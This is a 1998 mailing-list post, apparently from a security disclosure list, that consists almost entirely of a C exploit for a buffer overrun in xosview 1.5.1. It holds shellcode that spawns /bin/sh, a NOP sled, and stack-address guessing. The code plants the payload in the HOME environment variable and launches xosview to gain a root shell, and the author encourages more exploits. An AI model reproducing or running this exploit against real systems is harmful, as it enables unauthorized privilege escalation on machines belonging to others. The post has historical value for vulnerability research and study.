Re: Tiresome security hole in "xosview" (xosexp.c)

From: Kossak (ldvgat_private)
Date: Fri May 29 1998 - 10:14:22 PDT

  • Next message: Peter 'Goober' Kosinar: "First Patch :)"

    /* xosview 1.5.1 buffer overrun exploit
     * brought to you by Kossak (ldvgat_private)
     *
     *  yep, this is a shameless rip from Aleph's tutorials, but it sure
     *  works... Lets keep those exploits coming!! :)
     *  Thanks to Chris Evans for posting the bug.
     */
    
    /* NOTE!!! xosview needs an open X display for this to work, so remember
     * to modify the source (line 62), with your ip.
     * The offset and buffer size work with me fine, but you might need to
     * change them.
     */
    
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                 1150
    #define DEFAULT_BUFFER_SIZE            3500
    #define NOP                            0x90
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_sp() - offset;
    
      printf("xosview exploit by Kossak\n");
      printf("try changing the default values if you dont get root now.\n");
      printf("Using address: 0x%x\n", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;
    
      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '\0';
    
      setenv("HOME", buff, 1);
      system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
     }
    



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